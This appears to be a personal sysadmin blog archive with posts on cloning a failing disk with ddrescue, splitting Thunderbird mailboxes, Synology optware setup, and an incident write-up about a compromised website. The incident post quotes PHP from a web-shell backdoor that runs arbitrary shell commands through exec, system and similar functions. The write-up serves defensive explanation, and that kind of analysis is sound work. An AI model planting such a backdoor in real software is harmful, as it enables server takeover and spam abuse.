Categories
sysadmin

Migrating a failing hard disk

hard-disk-failure

It happened. Or should I say, almost happened.

As we all know, the hard disk (mechanical ones, that is) is the component that has the highest chance of failure in any computer system. One day I was doing a routine backup of my notebook. My backup solution is rather simple, consisting of no more than rsync. I had left it running a full backup in the background before I went out, expecting it to complete before I return, since only differences are copied. To my surprise when I returned, it was still running and my notebook felt very hot. Much hotter than usual, and that says something, as my notebook reaches uncomfortably heaty temperature after long usage. I blame it on the GPU/hard disk. The copying appears to be stuck at 76% on a particular large file. After terminating it and manually copying the file to my backup hard disk, it remained stuck at 76%. First sign that something is wrong. To be sure that it wasn’t my backup hard disk that’s having problem, I made a copy of the file on the same drive. Yup same thing happened. I immediately stopped any attempts to access the file to avoid aggravating the problem. Conventional wisdom in hard disk recovery says that when a hard disk is showing signs of failure, do not access the “bad” parts ‘cos it could cause the problem to get worse.

A hard disk replacement is imminent, which is not a big deal. Except that it could mean reinstalling everything from scratch. Or not. I’m really not looking forward to spending days fighting with a new OS. So cloning the existing hard disk is my plan.

Step 1: research

Before doing anything that could lead to further data loss, it is always good to read up. My concerns were 1) data integrity 2) preservation of Windows license. As the Windows license that came with the notebook is an OEM license, I wasn’t sure if it could survive the cloning process – with a retail Windows license you could activate on up to X times I think. The recommended way to backup a Windows machine is to use Windows System Image Backup. Unfortunately it can’t be used in my case. My second idea was to use dd. However I’m aware that dd could run into trouble with reading bad parts. Finally I decided on ddrescue, as it appears to be addressing what I need from dd, but with more features targetted towards hard disk recovery.

Step 2: execute

I got a larger hard disk as recommended by most articles. I also needed a way to attach the new hard disk to my notebook. Here’s where my trusty SATA to USB adapter comes in handy. For the benefit of others who may want to do the same, the steps are:

IMG_0207

  • download Knoppix Linux ISO
  • burn to CD, or if you’re lazy like me, create a bootable USB thumbdrive with it using Rufus
  • boot up to Knoppix
  • select shell
  • lsusb to see what USB devices are attached
  • insert SATA to USB adapter
  • lsusb to see what’s added
  • dmesg to see the newly added device. note the new device name
  • (assuming old hard disk is /dev/sda and new hard disk is /dev/sdc) take a deep breath and type:
    ddrescue -f -n /dev/sda /dev/sdc /root/rescue.log
  • if there are no errors, hurray! you can stop here. Otherwise, type:
    ddrescue -d -f -r3 /dev/sda /dev/sdc /root/rescue.log

In my case there was 1 x 8192 bytes of error after the first command. After running the second command, it was reduced to 1024 bytes. Ok, it wasn’t as bad as I thought ๐Ÿ™‚

Step 3: verify

  • Unscrew the hard disk compartment and replace the old hard disk with the new one. Replace cover.
  • Boot up.

At this point, if it works it should be pretty obvious. I’m glad to report that everything works as planned. wmic diskdrive shows the new hard disk details. Oh, and Windows didn’t complain. An unexpected good news is after the upgrade, things are speedier and my notebook doesn’t feel as hot as before. Hurray! ๐Ÿ˜€

Categories
programming sysadmin

Splitting Thunderbird mailbox

Mozilla Thunderbird uses the mbox format, which makes it incredibly portable and easy to process. Unfortunately, it also means that all of your messages within a Thunderbird folder is in single file*. This can cause problems if you keep using a folder for many years. For instance I have a mbox file that is >1GB and it’s mounted in a network share. Opening, modifying, backing up takes quite a while. I finally gave up and decided to do something about it.

I wanted to organize my mailbox by year, while preserving its folder organization. A quick online search did not find anything I can use. So I whipped up my trusty PHP and wrote this.

https://github.com/boviner/splitmbox

Usual disclaimer applies.

* I’m simplifying here. If your folder contains subfolders, each subfolder actually has it’s own file

Categories
sysadmin

MAC address vendor

Ever wonder what information you can derive from a MAC address (eg. 50-e5-49-12-34-56)? Well, the first 6 letters uniquely identifies the manufacturer of the device. Eg. MAC addresses starting with 50E549 are from Gigabyte. You can download the whole list of manufacturer OUI (ORGANIZATIONALLY UNIQUE IDENTIFIER) from here. Or you can use a lookup service like this.

Categories
sysadmin

pkghist

Here’s a small utility that I’ve written to make it easier to visualize package changes in a Debian-based system.

Sample output:

2013-03-06 (Wed)

   purged> 13:30  ecryptfs-utils ()
           12:37  ecryptfs-utils (68-1+lenny1)
           12:37  keyutils (1.2-9)
           12:37  libecryptfs0 (68-1+lenny1)
           12:37  libgpgme11 (1.1.6-2)
           12:37  libpth20 (2.0.7-12)
   purged> 12:36  mimms ()
uninstall> 12:36  libmms0 (0.4-2)

2013-02-28 (Thu)

           23:36  mimms (3.2.1-1)
           23:36  libmms0 (0.4-2)

2013-01-30 (Wed)

  upgrade> 17:16  samba-common (2:3.2.5-4lenny15)
           17:16  smbfs (2:3.2.5-4lenny15)
  upgrade> 17:16  samba (2:3.2.5-4lenny15)
  upgrade> 17:16  smbclient (2:3.2.5-4lenny15)
...snipped...

Read more here: https://github.com/boviner/pkghist/

Categories
sysadmin

MikeBeach.org

While searching for a solution to stop @eaDir from being generated on the Synology NAS, I came across this blog, which has quite a number of good articles that sysadmins will find useful.

Will certainly be keeping this in my bookmarks for reference.

Categories
sysadmin

Summary of Amazon cloud services

This post is more as a note for myself, as a quick reference for the expanding list of Amazon AWS services. Not too long ago it was just EC3 and S3, and now you have stuff like Route 53, Glacier, Redshift and a whole bunch of others.

Good that someone compiled a nice summary here:

https://hackpad.com/Amazon-Services-xwW1WtHf5y5

Categories
sysadmin

Setting up a proper Linux environment on Synology DS412+

We recently got a Synology DS412+ as an office NAS. First thing to do is to set up a proper Linux environment on the device.

Gaining root on Synology NAS is easy – just log in as root with the same password as admin. However, most (all?) commands are mapped to BusyBox, which provides watered-down version of many *nix commands. Good thing is there’s an active modding community and it’s also sanctioned by Synology. A good place to start is here.

First install the bootstrap

cd /tmp
wget http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/syno-i686-bootstrap_1.2-7_i686.xsh
chmod u+x syno-i686-bootstrap_1.2-7_i686.xsh
./syno-i686-bootstrap_1.2-7_i686.xsh

Then install optware-devel, which installs many of the common *nix tools and binaries for building programs from tar source.

/opt/bin/ipkg install optware-devel

Unfortunately, installation fails halfway ‘cos wget-ssl which is included in optware-devel conflicts with the wget installed.

# ipkg install -verbose_wget wget-ssl
Installing wget-ssl (1.12-2) to root...
Nothing to be done
An error ocurred, return value: 1.
Collected errors:
ERROR: The following packages conflict with wget-ssl:
         wget

Someone posted a solution here and here, but both are for arm-based devices. Digging further, I found the source of the i686 packages here and with that the problem is resolved.

cd /tmp
wget 'http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/libidn_1.25-1_i686.ipk'
wget 'http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/wget-ssl_1.12-2_i686.ipk'
ipkg remove wget
ipkg install libidn_1.25-1_i686.ipk
ipkg install wget-ssl_1.12-2_i686.ipk

export PATH=/opt/bin:$PATH
ipkg update
ipkg install optware-devel

The export step is important, ‘cos it will make ipkg use the new wget.

A few other things to finish up,

  • ipkg install util-linux
  • install bash, vim, screen
  • change default root shell to /opt/bin/bash,
  • add /opt/bin to PATH in .profile,
  • set PS1=’\h:\w\$ ‘
Categories
sysadmin

Anatomy of a hack – Part 1

It was the first working day after Chinese New Year. I arrived in office and did the usual morning routine. What I didn’t anticipate was the 10000 emails waiting for me in my INBOX. And the number kept rising.

Not exactly the most auspicious start to the new year. Most of them had the subject “Undelivered Mail Returned to Sender”. I thought it was just the usual case of someone faking the sender email using our domain but upon closer inspection, it turns out to be much worse than expected.

A lot of the email headers had the following line:
X-PHP-Originating-Script: 1028:404.php(173) : eval()'d code(1) : eval()'d code

After some digging, I found the offending 404.php, which contains code like this:

function execute($c){
if(function_exists('exec')){
@exec($c, $out);
return @implode("\n", $out);
}elseif(function_exists('shell_exec')){
$out = @shell_exec($c);
return $out;
}elseif(function_exists('system')){
@ob_start();
@system($c, $ret);
$out = @ob_get_contents();
@ob_end_clean();
return $out;
}elseif(function_exists('passthru')){
@ob_start();
@passthru($c, $ret);
$out = @ob_get_contents();
@ob_end_clean();
return $out;
}else{
return FALSE;
}
}

It’s clearly a backdoor. One of our website had been compromised. And it was being used to send out large amount of spam.
spam

The reason for those 10000 bounced emails is due to the fact that many of the emails used by spammers are simply invalid or not in use anymore. The recipient’s email server is usually kind enough to notify the sender – in this case us – of this. This also means that the actual number of spam emails sent out is much higher than 10000.

I wasted no time to hunt down the offending 404.php and remove it. Subsequent actions were more tricky. In any site compromise, determining the cause of compromise is imperative to prevent future attempts. The initial suspicion was WordPress theme vulnerability, but Googling didn’t turn up anything unusual. Maybe a 0-day? After eliminating a few possible causes and not finding any, I went on to the more urgent task of purging the email queue and checking if we were blacklisted by any spam database. You see, the cat-and-mouse game of spam detection has evolved to a point where a sysadmin must decide what mix bag of spam prevention techniques to use. One of them includes using a spam database lookup service. Being in one is no good, ‘cos it means legitimate emails originating from your server will have a higher chance of being marked as spam. True enough, we were blacklisted by one service provider. Fotunately a review request quickly allowed us to be removed from being blacklisted.

After hitting a few real 404s, the attacker gave up and the spam stopped, thereby drawing a close to the episode. Or so I thought.